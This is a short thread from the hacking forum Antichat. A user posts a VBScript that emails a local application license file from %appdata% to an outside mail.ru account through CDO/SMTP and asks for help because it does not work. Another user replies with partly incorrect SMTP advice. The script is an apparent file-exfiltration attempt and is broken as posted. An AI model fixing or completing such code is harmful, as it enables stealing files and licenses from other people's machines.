ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Загрузка файла на почту (https://forum.antichat.xyz/showthread.php?t=8067320)

sector.404 19.02.2014 01:00
Есть скрипт на VBS

VBScript highlight

Код:
Set objMes = CreateObject(
"CDO.Message"
)
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/smtpserver"
) =
"mail.ru"
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/smtpserverport"
) =
25
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"
) =
1
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/sendusername"
) =
"pochta@mail.ru"
objMessage.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/sendpassword"
) =
"пароль от почты"
objMes.Configuration.Fields.Update
objMes.From =
"pochta@mail.ru"
objMes.To =
"pochta@mail.ru"
objMes.Subject =
"OK"
objMes.Textbody =
"OK"
objMes.AddAttachment
"C:\%appdata%\MyApp\License\application.lic"
objMes.Send
Что-то здесь не так потому что оно не работает, помогите

rox@hak 19.02.2014 01:00
попробуй изменить порт с 25 на 465
SMTP — 465
и сервер не mail.ru а smtp.mail.ru
smtpauthenticate вместо 1 нужно выставлять пароль

sector.404 19.02.2014 01:00
Цитата:

Сообщение от rox@hak

попробуй изменить порт с 25 на 465
SMTP — 465
и сервер не mail.ru а smtp.mail.ru
smtpauthenticate вместо 1 нужно выставлять пароль

напиши наглядный пример

sector.404 19.02.2014 01:00
IMAGE http://rghost.ru/52535148/image.png

вот что вышло после запуска

sector.404 19.02.2014 01:00
Set objMes = CreateObject("CDO.Message")
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "mail.ru"
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "pochta@mail.ru"
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "пароль от почты"
objMes.From = "pochta@mail.ru"
objMes.To = "pochta@mail.ru"
objMes.Subject = "OK"
objMes.Textbody = "OK"
objMes.AddAttachment "C:\%appdata%\MyApp\License\application.lic"
objMes.Send

переписал немного, как теперь указать путь к файлу, а то он кричит что не может найти путь

sector.404 20.02.2014 01:00
На этом форуме вообще кто нибудь есть?

sector.404 20.02.2014 01:00
ау?


Время: 23:38